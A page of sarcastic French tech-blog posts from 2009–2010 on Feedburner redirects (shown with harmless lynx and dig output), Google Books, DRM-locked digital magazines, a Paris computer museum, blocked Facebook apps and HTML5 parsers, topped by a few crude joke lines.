  • Faire l'amour avec une loutre orpheline, aveugle et atrophiée
  • Sodomie au verre et/ou parpaing pilé
  • S'enculer sous la grêle
  • T'as le bonjour d'Eva ! - Eva qui ? - Eva te faire enculer !

Sincèrement ?

vendredi 19 février 2010

Ces faux écolos

La mode aujourd'hui est à l'écologie, à l'attention portée à la consommation des ressources, à l'économie des moyens pour obtenir un résultat satisfaisant. Et pourtant, on trouve sur le web, haut lieu de la réflexion contemporaine (alors, chatroulette ou shadyurl ?), des personnes qui apparaissent pourtant bien sous tout rapport, et pourtant, se laissent aller aux plus infâmes gâchis. Comment repérer ces malotrus ? C'est simple, ils utilisent Google Feedburner, un service gratuit de Google qui a pour seul but de collecter vos informations personnelles et de consommer inutilement des ressources. On peut abréger cette description en "un service de Google" évidemment. Concrètement, comment ça se passe ? Vous demandez à accéder une ressource, par exemple http://www.christian-faure.net/wp-rss2.php (non pas de lien, ce serait gâcher, vous allez voir pourquoi). Cette ressource représente les derniers articles publiés par une personne anonyme sur son blog (pour la définition du mot "anonyme", je vous renvoie au "Grand Hixie Illustré"). Que se passe-t-il pour accéder à cette ressource, dont la représentation physique faisant foi est créée et hébergée sur la machine répondant au nom d'hôte (anonyme lui aussi) www.christian-faure.net ?

$ lynx -dump -head http://www.christian-faure.net/wp-rss2.php
HTTP/1.0 301 Moved Permanently
Date: Fri, 19 Feb 2010 20:35:02 GMT
Server: Apache
X-Powered-By: W3 Total Cache/0.8.5.1
Location: http://www.christian-faure.net/feed/
Connection: close
Content-Type: text/html

Le serveur nous répond que la ressource est un fichier HTML (en même temps, dans le "Grand Hixie Illustré", tout peut être lu en tant que HTML, donc ça n'est pas forcément faux), qui se trouve désormais de façon permanente à l'adresse http://www.christian-faure.net/feed/ . On remarque la discrète entête publicitaire "W3 Total Cache", parce que c'est bien connu, dans l'écosystème Wordpress, la modestie est une vertu cardinale. Poursuivons.

$ lynx -dump -head http://www.christian-faure.net/feed/
HTTP/1.1 302 Found
Date: Fri, 19 Feb 2010 20:55:28 GMT
Server: Apache
X-Powered-By: W3 Total Cache/0.8.5.1
X-Pingback: http://www.christian-faure.net/xmlrpc.php
Last-Modified: Fri, 19 Feb 2010 18:12:53 GMT
ETag: "31c7a84cc6419c0de704b3cc16f1da48"
Location: http://feeds.feedburner.com/christian-faure/wMuM
Connection: close
Content-Type: text/html

On nous a menti ! Toujours pas de représentation, on nous demande d'aller voir du côté de chez Google Feedburner, avec au passage une information, comme quoi la ressource que l'on cherche a été modifiée pour la dernière fois à 18h12 GMT. Ce qui veut dire que le serveur connaît la ressource, connaît la date de dernière modification, mais non, il ne faut pas lui demander à lui. Poursuivons.

$ lynx -dump -head http://feeds.feedburner.com/christian-faure/wMuM
HTTP/1.0 200 OK
Last-Modified: Fri, 19 Feb 2010 20:55:58 GMT
ETag: /2EpcCk4RHnd4V088LU7nfrZhew
Content-Type: text/xml; charset=UTF-8
Date: Fri, 19 Feb 2010 20:58:55 GMT
Expires: Fri, 19 Feb 2010 20:58:55 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
Server: GSE
X-XSS-Protection: 0

Et là, c'est la réponde finale (200 OK). On apprend donc que la ressource a été modifiée pour la dernière fois à 20h55 GMT... ha bon ? Moi on m'a dit y'a même pas deux secondes que c'était 18h12 ? Oui mais non, chez Google, ça vient d'être modifié. C'est conceptuellement faux, mais ça n'est pas grave. Ensuite, Google nous dit que c'est une ressource privée, à expiration immédiate, mais il nous donne en même temps deux paramètres (ETag et Last-Modified) qui ne sont utiles que si la ressource n'expire pas immédiatement. Que de gâchis ! Bon point, il nous signale qu'il sert du XML encodé en UTF-8, et pas le HTML qu'on nous promettait deux requêtes avant. Regardons donc cette ressource tant attendue.

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2frenchfull.xsl"?>
<?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?>
<rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" 
    xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" 
    xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" 
    xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">
<channel><title>Christian Fauré</title> 
<link>http://www.christian-faure.net</link>
<description>Hypomnemata : supports de mémoire</description>
<lastBuildDate>Fri, 19 Feb 2010 18:12:53 +0000</lastBuildDate>
<generator>http://wordpress.org/?v=2.9</generator>
<language>fr</language>
<sy:updatePeriod>hourly</sy:updatePeriod>
<sy:updateFrequency>1</sy:updateFrequency>
<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" 
    href="http://feeds.feedburner.com/christian-faure/wMuM" />
<feedburner:info uri="christian-faure/wmum" />
<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" />
<feedburner:emailServiceId>christian-faure/wMuM</feedburner:emailServiceId>
<feedburner:feedburnerHostname>http://feedburner.google.com</feedburner:feedburnerHostname>
<feedburner:feedFlare
    href="http://www.newsgator.com/ngs/subscriber/subext.aspx?url=http%3A%2F%2Ffeeds.feedburner.com%2Fchristian-faure%2FwMuM" 
    src="http://www.newsgator.com/images/ngsub1.gif">Subscribe with NewsGator</feedburner:feedFlare>
<feedburner:feedFlare 
    href="http://www.bloglines.com/sub/http://feeds.feedburner.com/christian-faure/wMuM" 
    src="http://www.bloglines.com/images/sub_modern11.gif">Subscribe with Bloglines</feedburner:feedFlare>
<feedburner:feedFlare 
    href="http://www.netvibes.com/subscribe.php?url=http%3A%2F%2Ffeeds.feedburner.com%2Fchristian-faure%2FwMuM" 
    src="http://www.netvibes.com/img/add2netvibes.gif">Subscribe with Netvibes</feedburner:feedFlare>
<feedburner:feedFlare 
    href="http://fusion.google.com/add?feedurl=http%3A%2F%2Ffeeds.feedburner.com%2Fchristian-faure%2FwMuM" 
    src="http://buttons.googlesyndication.com/fusion/add.gif">Subscribe with Google</feedburner:feedFlare>
<feedburner:feedFlare 
    href="http://www.pageflakes.com/subscribe.aspx?url=http%3A%2F%2Ffeeds.feedburner.com%2Fchristian-faure%2FwMuM" 
    src="http://www.pageflakes.com/ImageFile.ashx?instanceId=Static_4&fileName=ATP_blu_91x17.gif">Subscribe with Pageflakes</feedburner:feedFlare>
<feedburner:feedFlare 
    href="http://add.my.yahoo.com/content?lg=fr&url=http%3A%2F%2Ffeeds.feedburner.com%2Fchristian-faure%2FwMuM" 
    src="http://us.i1.yimg.com/us.yimg.com/i/us/my/bn/intatm_fr_1.gif">Subscribe with Mon Yahoo!</feedburner:feedFlare>

Burp aussi. Nous sommes donc en présence d'un RSS en version 2, avec la déclaration de plusieurs préfixes de namespaces, dont un pour Atom, Atom qui conchie les namespaces, parce que les namespaces c'est le mal (cf. le "Grand Hixie Illustré", ce n'est plus un glossaire, c'est une bible). Au passage, Feedburner qui nous disait que la ressource avait été modifiée pour la dernière fois à 20h55, nous dit maintenant que c'était en fait à 18h12 (lastBuildDate) : faudrait savoir. Ensuite, tous les feedFlare sont utilisés uniquement si on regarde cette ressource dans un navigateur internet, mais un navigateur ne sait rien faire de ça, sauf s'il utilise la feuille de transformation référencée en relatif "rss2frenchfull.xsl", enjolivé par la feuille de style référencée en absolu (on n'est pas à une incohérence près) "itemcontent.css". Et grosso-modo, ça ne sert à rien de mettre ces feedFlare ici, ils auraient pu se trouver directement dans la feuille de transformation. Encore du gâchis. Allons directement à la fin.

<!-- This site's performance optimized by W3 Total Cache. Dramatically improve the 
speed and reliability of your blog!

Learn more about our WordPress Plugins: http://www.w3-edge.com/wordpress-plugins/

Minified using disk
Page Caching using disk
Database Caching 10/12 queries in 0.008 seconds using disk

Served from: gmu10.infomaniak.ch @ 2010-02-19 18:21:24 -->

Un peu de publicité, ça manquait. Et pas de la publicité pour temps de cerveau pré-disposé comme Google AdSense, juste de la publicité que personne ne verra jamais : toujours du gâchis. Et puis, un mystérieux "Served from", je croyais être servi par Google moi... qui est ce mystérieux gmu10.infomaniak.ch ? Creusons un peu.

$ dig +short gmu10.infomaniak.ch
93.88.240.25

Hmmm... et à qui demandions nous initialement une ressource ?

$ dig +short www.christian-faure.net
93.88.240.25

C'est bien cela, on a fait le grand tour. Au final, on constate donc qu'internet en général, et les blogueurs en particuliers, sont extrêmement peu soucieux de l'utilisation des ressources qui les entourent, et méritent donc le bonnet d'âne de l'écologie.

samedi 21 novembre 2009

Des faux avantages de Google Books

Eric Hellman suit avec attention l'évolution des accords entre le géant de la publicité Google et les éditeurs nord-américains autour du service de numérisation des livres et de leur restitution du dit Google, appelé "Livres de Google" (ou "Google Books" en anglais dans le texte). On peut déjà voir un problème initial dans le nommage, avec la tendance habituelle de Google à s'approprier tout ce qui passe dans ses indexeurs. En deux mots, le principe de Google Books est le suivant :

  • Google empreinte tous les livres sur lesquels il peut mettre la main
  • puis les scanne (extraction d'une image numérique)
  • puis les passe à la Reconnaissance Automatique de Caractères (OCR, transformation en texte)
  • puis classifie comme il peut le livre à partir des données scannées et des informations fournies par le propriétaire du livre (en général une bibliothèque)
  • fourni une interface de recherche dans le contenu de tous ces livres (aux erreurs d'OCR près), et présente certaines pages de ces livres, choisies selon une politique... à déterminer (c'est en partie l'objet de l'accord)
  • et enfin, déclare que Google est le bienfaiteur de l'humanité et que le reste c'est tous des crétins réacs, sauf les éditeurs qui voudront bien signer l'accord qui sont moins crétins que les autres, mais quand même...

A l'occasion d'un billet récent intitulé "L'unicité des phrases et la (non) infraction de J. K. Rowling par Tanya Tucker", dans lequel il étudie comment à partir de certaines phrases d'un Harry Potter il est capable de trouver comment le contenu de ce livre est utilisé sur la toile (il ne regarde ni Usenet ni les autres réseaux). De ces recherches, il en déduit qu'on peut identifier un livre avec nombre très restreint de phrases, et donc, une fois en main les textes originaux, on est capable de faire une approximation très rapide pour déterminer si deux textes (en tant que représentation d'un livre) sont identiques ou pas. Il en déduit les conclusions suivantes :

  1. il sera bientôt très facile pour Google de détecter les copies non autorisées de livres dans son catalogue, et vraisemblablement de les enlever (ie. de ne plus les renvoyer dans les résultats des recherches). Le bénéfices pour les éditeurs de faire cela serait largement supérieur à tous les dommages qu'ils pourraient subir à cause du programme de numérisation de Google Books. Pourquoi les éditeurs ont-ils omis de faire acter un tel processus dans l'accord avec Google négocié pour mettre fin à la procédure judiciaire ?
  2. il ne sera pas difficle à Google de fusionner les doublons dans le catalogue de Google Books
  3. l'hésitation de J.K. Rowling à autoriser la diffusion de ses livres en format électronique est vraiment, vraiment stupide. (Je ne fais que reprendre ses mots)

Pour le premier point, l'idée est que, un éditeur confiant tous les textes de tous les livres qu'il édite à Google, Google sera en mesure d'extraire les phrases significatives ce ces livres, et d'enlever des résultats de recherche les documents qui correspondent à celles-ci. Le but poursuivi est d'empêcher l'internaute de trouver des livres électronique pirates. Pour cela, il faut que l'internaute passe par Google pour faire ses recherches d'éditions pirates, et que Google reconnaisse le format du livre électronique (qui sont souvent au format PDF, indexé par tous les moteurs de recherche, mais de plus en plus souvent directement dans des formats dédiés aux livres électronique (Mobipocket, LIT, eReader, ePub, eBooks, etc) qui à l'heure actuelle ne sont pas tous indexés). Donc si l'éditeur confie tout son fond éditorial à Google, il bloquera potentiellement les téléchargements d'éditions illégales par les personnes qui ne cherchent que du PDF et ce uniquement à travers Google. Les quelques années de recul que l'on a depuis l'émergence de Napster (article de 2000, intéressant à relire) nous montre que tout ça ne servirait pas à grand chose.

Pour le second point, on est bien content qu'il existe des techniques pour que Google arrive à maintenir son catalogue Google Books... parce que là, c'est un peu le boxon, surtout avec les recueils et les anthologies (et ça, quand l'auteur et l'année de parutions sont corrects, ce qui est loin d'être toujours le cas).

Et pour le troisième point... je n'arrive pas à trouver dans l'article la séquence de raisonnement liant les réticences d'un auteur envers la publication électronique et le fait qu'on puisse identifier un livre à partir de quelques phrases clef. Surtout que le fondement de ses réticences n'est exposé ni dans l'article, ni dans l'article lié. Et si c'est lié au piratage (sans doute), le simple fait que Google Books ait plus de livre à se mettre sous la dent ne changera rien à l'affaire.

lundi 15 juin 2009

Abonnement forfait Relay : pas encore ça

Depuis quelques temps, relay.fr permet de télécharger légalement les magazines qu'on trouve normalement en kiosque, ceci selon deux formules :

Le forfait liberté
10 euros par mois, pour 4 exemplaires de magazines au choix dans le catalogue
L’éco-forfait WWF illimité
18 euros par mois, tous les magazines au catalogue sont téléchargeables

Il est à noter qu'on est en mode "kiosque", c'est-à-dire que sont téléchargeables les exemplaires en cours de parution, cela ne permet pas d'accéder aux archives. Le catalogue est lui annoncé à 500 titres, hebdomadaires et mensuels essentiellement. La formule paraît quasiment idéale : l'offre illimitée revient grosso-modo à l'abonnement à 4 magazines, sans avoir les contraintes de rester sur ces mêmes magazines. La question se posait donc : on renouvelle nos abonnements ou pas ? (pas qu'on soit abonné à autant de magazines non plus, n'allez pas vous imaginer des choses). Le premier réflexe est de se dire que les magazines vont être en PDF avec gestion numérique des droits (DRM), supportés par un grand nombre de périphériques. Et là on voit :

Le téléchargement consiste en la transmission et la reproduction, sur le disque dur de l’ordinateur du client, d’une publication (« le Contenu ») tel que numérisé/ encodé au moyen du Format Delivery et incluant les éléments d’enrichissement Rich Media éventuels.

Le Format Delivery. Diantre. Une recherche exacte sur cette chaîne de caractères nous amène sur la page suivante (pas forcément à jour) : http://www.immanens-delivery.com/files/package/manual/fr/manuel.html, sur laquelle on peut lire :

Le document DLY est généré et crypté spécifiquement pour votre machine. Il n’est donc pas possible de le relire sur une autre machine même avec Delivery Reader correctement installé. Il est en revanche possible (et conseillé) de faire une copie sur disque, CD ou DVD à des fins de sauvegarde. Pour des raisons de commodité, l’achat d’un document au format Delivery donne droit à 2 téléchargements que vous pouvez utiliser comme vous le souhaitez (ordinateur de bureau et ordinateur personnel, ou envoi à un ami).

C'est gentil de nous laisser l'envoyer à un ami, Xavier Bertrand doit être de la partie pour avoir autant de gentillesse. On apprend donc que ça n'est pas du PDF mais du DLY. Quel est ce format ? Inconnu au bataillon. Le PDG de la société Immanens ayant créé ce format a été interviewé sur France Info il y a un peu plus d'un an. On y apprend que le PDG n'envisage pas la lecture des documents dans le format DLY autrement que sur un ordinateur ou un smartphone, la faute à la technologie (ça ne va pas être de leur faute). Donc ils préfèrent "capitaliser" sur des périphériques comme l'iPhone qui "ouvre la voie" avec sa résolution de 480x320 pixels ; bon, évidemment il oublie de nous dire que cette résolution d'affichage a été introduite auprès du grand public en 2002, donc pour l'innovation on repassera. Concrètement, ça ressemble à quoi un livre en 320 pixels de largeur ? Vous pouvez le voir sur ce post innovant de 2004 : l'écran du périphérique en photo en haut à gauche a, en largeur, la même résolution et la même taille que celui d'un iPhone. Oui, c'est peu accueillant, et là encore ça n'est que du texte. Imaginez une page de magazine là-dessus. Imaginez très fort. Que se passe-t-il ? Ca ne tient pas. Ca ne peut pas tenir. Disons-le clairement : lire sur un écran en 480x320 un document prévu pour du A4, c'est un appel au paracétamol. Que propose donc Immanens pour lire les magazines téléchargés sur Relay.fr ? PC, Mac (facile), ou iPhone, seulement quand vous avez accès à internet, pas moyen de transférer des magazines téléchargés pour les lire en avion ou au fin fond de la Creuse.

Le monde a changé : pas Immanens. En France on peut trouver facilement le Cybook Gen3 de Booken, l'iLiad et le Digital Reader d'iRex, le BeBook de Jinke, le Sony Reader et d'autres... et bientôt peut-être le Kindle d'Amazon (surtout le DX, au format A4... patience).

Immanens a donc un train de retard, et le problème est que la société est bloquée sur son format propriétaire. Développer un logiciel pour PC, un pour Mac et un client pour iPhone est à la portée de quasiment n'importe quelle société informatique venue (j'exagère, mais pas énormément). Introduire la lecture d'un format propriétaire (dont le marché est à l'heure actuelle restreint à la France), sur une bonne part des liseuses numériques par contre : c'est mission impossible. Il reste donc comme possibilité pour lire ces magazines d'avoir à un ordinateur à portée de main, sans aucun espoir de pouvoir les consulter un jour sur un appareil léger et dédié à la lecture. En conséquence, on a gardé nos abonnements.

lundi 1 juin 2009

Bienvenue à Bing

"Bing", c'est le nouveau moteur de recherche sur internet de Microsoft, qui vient remplacer le peu performant "Microsoft Live". Ce blog vient de fêter son premier hit par Bing (un Bing hit, à défaut d'un big Hit), avec ce qui représente le fil conducteur de ce site : la recherche en question. On notera que la langue demandée est le français du Canada ; de là à en déduire les us et coutumes de nos cousins d'outre-atlantique... Afin de lever toute ambiguïté, je me dois de préciser que le visiteur utilisait Internet Explorer en version 7, vous pouvez donc éviter de soupçonner tous les macqueux montréalais.

samedi 23 mai 2009

Musée de l'informatique : un temporaire qui dure

La semaine dernière, de passage à la capitale, nous sommes passés au musée de l'informatique, situé en haut de la grande arche de la fraternité, sur le chemin du belvédère, depuis lequel on a ce type de vue :

Ce musée fait suite à l'exposition temporaire d'octobre 2007, devenue permanente en avril 2008. Lisons ensemble quelques avis sur l'exposition temporaire : ACBM, association WDA et MO5.com. Les critiques qui reviennent systématiquement sont : un manque de fiche signalétique, les machines ne sont pas en fonctionnement, elles ne sont pas protégées contre les visiteurs, pas plus qu'elles ne sont fixées aux supports, et de plus, elles n'ont même pas été spécialement nettoyées pour l'exposition.

Un an et demi après, le constat est strictement identique. Les fiches signalétiques apposées aux quelques machines qui en profitent ne sont même pas normalisées : tantôt on parle en franc, tantôt en euro (même pour des machines des années 80) ; l'année de sortie de la machine n'est pas systématiquement mentionnée, pas plus que la vitesse du processeur ou la capacité des lecteurs non plus, et la liste est longue... Impossible de comparer deux machines sur cette base. Il faut dire que la visite commence mal, avec la présentation de vieux modules mémoire à ferrite, pour lesquels la capacité n'est même pas systématiquement mentionnée. En ce qui concerne la présentation des machines, certaines sont juste posées par terre, dans le chemin, effectivement pas nettoyées ; certains portables sont posées sur des supports à 30cm au-dessus du sol : merci pour le dos des visiteurs. La seule machine un peu protégé est un vieil IBM, avec son lecteur de carte perforé. Seul problème, les seules cartes perforées sont empilées dans des casiers à 10m de là, sans lecteur de carte à proximité immédiate : la mise en contexte pour celui qui découvre ce système est tout simplement impossible... sauf à remarquer la vidéo qui passe 20m plus loin (complètement déformée et recadrée, pas une vidéo projetée correctement).

L'absence de fiche signalétique est telle qu'on ne remarque même pas les deux Cray du musée. Le premier est posé dans un coin éloigné de tout le reste, avec une corde autour pour empêcher qu'on s'assoie dessus vu que c'est le modèle "banquette". Le deuxième n'a pas cette chance vu qu'il ressemble simplement à une grosse armoire, et quand on passe à côté, on ne le voit tout simplement pas. Il nous a fallu passer 4 fois devant, et qu'on papote à 10cm de lui pour qu'on daigne porter un regard au bloc métallique gris qui trainait entre un eeePC et un Nabaztag. Au final on l'aura compris, la scénographie de ce "musée" n'est pas à refaire, elle est tout simplement à faire. Un mot sur l'exposition temporaire : "Le Mac : 25 ans déjà !". Un peu plus de fiches signalétiques, mais celles-ci sont affichées à 40cm au-dessus du sol, les machines étant à quelques centimètres au-dessus. La position la plus pratique pour visiter l'exposition est donc à quatre pattes. Une petite remarque aussi : le passage à OS X est expédié en deux machines : une BeBox et un cube NeXT. C'est toujours mieux que l'évocation de l'abandon de Motorola comme fondeur du Mac, qui lui est escamoté.

Au final ça reste à voir, surtout que c'est un seul ticket pour tout l'étage supérieur. A noter que pour ceux qui souffrent du vertige, il est possible de demander aux gentils monsieurs de la sécurité d'utiliser un ascenseur dans lequel on n'est pas obligé de fermer les yeux :-)

mercredi 6 mai 2009

Résurrection

DSC03728.jpg

Joli non ? C'est le résultat de la rencontre entre un Sony Clié PEG-TH55 et une tomette. Le décalage horaire entraine la fatigue, la fatigue entraine le relachement des muscles de la main pendant la marche, et ce qui devait craquer craqua. On aurait dû lire ici de la prose conchiant Sony et La Poste, vantant les mérites de la place de vente des nouvelles antiquité Ebay, mais après qu'Opera ait décidé de tuer ce post deux fois, et que Windows XP ait décidé de me gratifier d'un écran bleu de la mort, j'arrête. D'ailleurs on pourra aussi blâmer conjointement Sony et Microsoft pour le désastreux Xperia X1 powered by Microsoft Mobaïle. Au final, les photos, et puis c'est tout.

DSC03730.jpg P1030269.jpg P1030272.jpg P1030271.jpg P1030273.jpg P1030274.jpg P1030275.jpg P1030277.jpg

lundi 4 mai 2009

Mes applications bloquées sur Fessebouc

En attendant un article un peu plus intéressant avec de véritables entrailles de TH55, voici la liste des "applications" bloquées sur mon compte Facebook (les journaleux et LLM ont dévalorisé le mot "geek", Facebook a dévalorisé le mot "application") :

  1. Petites annonces
  2. Vampires
  3. Friends For Sale!
  4. Who's Thinking about you?
  5. Quelle couleur es-tu?
  6. Pour quelle ville êtes-vous fait(e) ?
  7. Entourage
  8. Quel sous-vêtement êtes-vous?
  9. Slide FunSpace
  10. Which Rolling Stones Song Best Describes You?
  11. Nicknames
  12. RockYou Live (formerly Super Wall)
  13. Quel genre de connard êtes vous ?
  14. Winnie the Pooh
  15. Hugs
  16. Japanese Food
  17. Cursus
  18. Pour quelle époque êtiez-vous fait(e)?
  19. My City
  20. Owned!
  21. Send Starbucks
  22. Cities I've Visited
  23. Space Raiders
  24. Optical Illusions Challenge
  25. SuperPoke!
  26. Chinese Word Symbols
  27. Bumper Sticker
  28. Kiss Kiss
  29. Mob Wars
  30. How White Are You?
  31. (Lil) Green Patch
  32. Hatching Eggs
  33. Growing Gifts
  34. Likeness
  35. Guerre des gangs
  36. NetworkedBlogs
  37. Quel genre de fille attirez-vous (garçons uniquement)
  38. le test du cochon
  39. Chouchous
  40. Geo Challenge
  41. quelle ville est tu?
  42. Quel animateur télé etes vous?
  43. Teste de personnalité.
  44. Quel alcoolique êtes vous?
  45. Quel est votre type d'intelligence?
  46. Quel(le) dragueur(se) êtes-vous ?
  47. Kidnap!
  48. Publicités et Pages
  49. Pillow Fight
  50. Shots and Drinks!
  51. Quelle bière te conviendrais le mieux?
  52. SocialCalendar
  53. Muppet Gifts
  54. Jack Sparrow
  55. Causes
  56. Mafia Wars
  57. U Have Beautiful Eyes
  58. FRANCE 24 - News Quiz
  59. Birthday Cards
  60. Movies
  61. Birthday Calendar
  62. Hug Me
  63. Bonne Annee 2009
  64. Que Pensent mes Amis de moi ?
  65. Lapins Crétins
  66. Quel star du porno es-tu ?
  67. Bataille de boules de neige
  68. Petites questions entre amis
  69. Bloodlines
  70. Interview
  71. Mario Kart RPG
  72. MonCalendrier
  73. Kidnappeur en Série
  74. Pool Practice
  75. Zebra Mahjong
  76. MyCalendar
  77. La météo du moral
  78. quel est le niveau de votre appétit sexuel?
  79. Pisser sur un Mur
  80. Hug
  81. Associations
  82. Qui a la plus grosse ... ?
  83. The Diarrhea
  84. Gossip
  85. La Vérité du Jeu
  86. Connais-tu le vocabulaire de la banlieue ?
  87. WHICH ARCHITECT ARE YOU?
  88. Quel est votre caractère amoureux ?
  89. Test psychologique ( oui mais là les révélations sont véridiques de chez véridiques !!! )
  90. Quel genre de conjoint(e) est fait(e) pour toi ?
  91. Cocktails
  92. Quel type d'amoureux êtes-vous?
  93. Quel petit surnom devrait-on te donner?
  94. Dans quelle région dois-tu vivre?
  95. Are you a Nerd, Geek, or Dork?

Hmm, bientôt 100 ; y'a pas à dire : y'a de la daube. Si seulement bloquer une application avait pour effets de bloquer tous les événements générés par icelles. On peut rêver.

lundi 2 mars 2009

Attente...

Des instabilités réseau peuvent ralentir par intermittence votre connexion au site voyages-sncf.com.

Des instabilités réseau ? Les serveurs de voyages-sncf.com sont installés dans une zone sismique ? Ou c'est Oléane leur hébergeur qui est de piètre qualité ? Ou alors c'est peut-être leur architecture Microsoft qui est tout simplement à jeter à la poubelle (en même temps que les serveurs et l'hébergeur) ? Notons pour la postérité ce savoureux paragraphe :

La migration de l’infrastructure serveur bureautique vers Microsoft Windows Server 2008 s’inscrit dans le prolongement d’un choix technique initié de longue date avec l’éditeur. Objectif : disposer d’un environnement technique de dernière génération, performant, homogène, hautement disponible et rapidement évolutif. Suite au constat de la parfaite fiabilité de la version bêta, trois premiers axes d’amélioration ont été engagés.

Et oui, n'oublions pas que derrière voyages-sncf.com, c'est un backend bureautique. Mais bon, à force de persevérer dans des choix techniques pourris initiés de longue date, la SNCF condamnée pour les relations incestueuses avec sa filiale privée voyages-sncf.com, arrivera peut-être un jour à nous fournir un service en ligne qui dépassera les performances du QBasic sur lequel il semble être basé.

samedi 21 février 2009

Les parsers HTML5

Le futur standard HTML 5 (qui sera prêt d'ici 3 ans au mieux) propose deux syntaxes pour représenter un document : HTML5 et XML. Notez l'absence d'espace entre HTML et 5, c'est ce qui permet de distinguer la syntaxe du standard. Un problème de jointure dans une requête SQL ? C'est du HTML 5. Un caractère dans un mauvais BMP Unicode ? C'est du HTML5. C'est ce qu'on appelle le pragmatisme des conventions de nommage. Pour lire un document défini par HTML 5 en HTML5, on va donc utiliser un parser HTML5 (parce qu'a priori un parser HTML 5 ne peut être que dual, vu que c'est aussi un parser XML, mais en même temps, vu qu'il est illusoire de vouloir traiter un document HTML 5 en syntaxe XML avec des outils traitant du XML, vu que HTML 5 ignore DOM 3 et étend / redéfini / malaxe DOM 2 en une bouillie pragmatiquement appelée "DOM5 HTML", et rajoute des étapes intermédiaires dans le parsing du XML). Bref, on a donc besoin d'un parser spécifique (après 30 ans à travailler avec des parsers génériques GML et SGML), et, chance, une liste est maintenue sur le site de la WTF, on y trouve donc :

HTML5 Conformance Checker
Abandonné, remplacé par validator.nu
HTML5Lib
Implémentations en C, PHP, Python et Ruby. L'implémentation en C a l'air de se limiter à la détection du charset. Pour l'implémentation en PHP, le tokenizer a l'air fini, même s'il diffère de la spécification (mouvante). Pas de modification depuis 4 mois pour l'implémentation en Ruby, son API a l'air d'être complètement différente de celle en Python. L'implémentation en Python est la plus avancée, et c'est la seule à avoir visiblement plus d'une seule personne travaillant dessus (et le seul à avoir le début d'une ombre de documentation). On y retrouve d'ailleurs des noms biens connus dans le petit cercle du WTF.
Twintsam
Implémentation en C#, pas de modification depuis bientôt un an, jamais fini.
Validator.nu parser
L'implémentation la plus aboutie, en Java, par l'inénarrable qui met des espaces de nom partout, sauf en HTML, parce que c'est trop difficile, bouh bouh.
Implementations in Web browsers
Mic mac d'implémentations de "fonctionnalités" qui se sont retrouvées dans HTML 5, la plupart du temps en version non-terminée (en même temps, c'est difficile d'avoir une implémentation terminée quand la spécification ne l'est pas). On ne retrouve nulle part sur cette page quel navigateur implémente un parser HTML5. La réponse est probablement : aucun. Il existe pour Firefox / Camino / Minimo / SeaMonkey / Thunderbird / Sunbird une version de Gecko appelant une conversion à la machine du parser Validator.nu en C++. Le commentaire de l'auteur laisse penser que ça consomme encore plus de mémoire que Firefox 2, ce qui, avec les promesses du SQL côté navigateur devrait très sérieusement faire penser à vendre des ordinateurs dédiés à GMail.

Au final, c'est pas brillant, restons avec TagSoup.

- page 1 de 14